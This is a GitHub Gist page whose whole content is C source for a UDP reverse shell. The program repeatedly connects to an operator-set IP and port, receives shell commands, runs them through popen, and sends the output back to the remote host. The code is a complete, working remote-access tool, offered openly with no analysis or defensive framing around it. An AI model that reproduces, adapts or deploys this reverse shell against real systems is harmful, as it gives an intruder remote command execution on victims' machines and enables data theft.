Skip to content

Instantly share code, notes, and snippets.

@SeanPesce
Created April 16, 2025 15:45
Show Gist options
  • Save SeanPesce/1a0da0d4497cc9b4972ab99bfefbf5d8 to your computer and use it in GitHub Desktop.
Save SeanPesce/1a0da0d4497cc9b4972ab99bfefbf5d8 to your computer and use it in GitHub Desktop.
Simple UDP reverse shell written in C
// UDP reverse shell
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <ctype.h>
#define SERVER_IP "192.168.1.x"
#define SERVER_PORT 45100
#define RETRY_INTERVAL 5 // Retry interval in seconds
int main()
{
int sock;
struct sockaddr_in server_addr;
char buffer[4096];
ssize_t received;
const char *redirect = " 2>&1";
ssize_t sent_bytes;
struct timeval timeout;
timeout.tv_sec = 10;
timeout.tv_usec = 0;
while (1)
{
// Create UDP socket
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
{
perror("Socket creation failed");
exit(EXIT_FAILURE);
}
// Configure server address
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(SERVER_PORT);
if (inet_pton(AF_INET, SERVER_IP, &server_addr.sin_addr) <= 0)
{
perror("Invalid address");
close(sock);
exit(EXIT_FAILURE);
}
// Set receive timeout
if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
perror("Failed to set receive timeout");
//close(sock);
//exit(EXIT_FAILURE);
}
// Send initial connection message to the server
printf("Connecting...\n", RETRY_INTERVAL);
sent_bytes = sendto(sock, "[Reverse shell connected]\n", 26, 0, (struct sockaddr *)&server_addr, sizeof(server_addr));
if (sent_bytes < 0)
{
perror("Failed to connect");
printf("Retrying in %d seconds...\n", RETRY_INTERVAL);
sleep(RETRY_INTERVAL);
continue;
}
while (1)
{
// Receive command from the server
received = recvfrom(sock, buffer, sizeof(buffer) - 1, 0, NULL, NULL);
if (received < 0)
{
perror("Receive failed");
break;
//continue;
}
buffer[received] = '\0'; // Null-terminate the received command
printf("Received: \"%s\"\n", buffer);
// Check if no command was sent
if (buffer[0] == '\0')
{
continue;
}
int is_blank = 1;
for (unsigned int i = 0; i < received; i++)
{
if (!isspace(buffer[i]))
{
is_blank = 0;
break;
}
}
if (is_blank)
{
continue;
}
// Check if the connection should be terminated
if (strcmp(buffer, "exit") == 0 || strcmp(buffer, "quit") == 0 || ((strncmp(buffer, "exit", 4) == 0 || strncmp(buffer, "quit", 4) == 0) && isspace(buffer[4])))
{
break;
}
// Make sure that stderr is redirected to stdout
if (strstr(buffer, &redirect[1]) == 0)
{
// Ensure there is enough space to append " 2>&1"
size_t current_length = strlen(buffer);
size_t redirect_length = strlen(redirect);
if (current_length + redirect_length < sizeof(buffer) - 1)
{
// Remove the trailing newline, if necessary
if (buffer[received - 1] == '\n')
{
buffer[received - 1] = '\0';
received -= 1;
}
// Append " 2>&1" to the buffer
strcat(buffer, redirect);
received += sizeof(redirect);
}
else
{
// Don't append the redirect
}
}
// Execute the received command
// printf(buffer);
FILE *fp = popen(buffer, "r");
if (fp == NULL)
{
strncpy(buffer, "[ERROR] Command execution failed", sizeof(buffer) - 1);
sendto(sock, buffer, strlen(buffer), 0, (struct sockaddr *)&server_addr, sizeof(server_addr));
perror("[ERROR] Command execution failed");
break;
}
// Send command output back to the server
while (fgets(buffer, sizeof(buffer), fp) != NULL)
{
sendto(sock, buffer, strlen(buffer), 0, (struct sockaddr *)&server_addr, sizeof(server_addr));
}
pclose(fp);
}
sendto(sock, "\n[Reverse shell disconnected]\n", 30, 0, (struct sockaddr *)&server_addr, sizeof(server_addr));
close(sock);
sleep(RETRY_INTERVAL);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment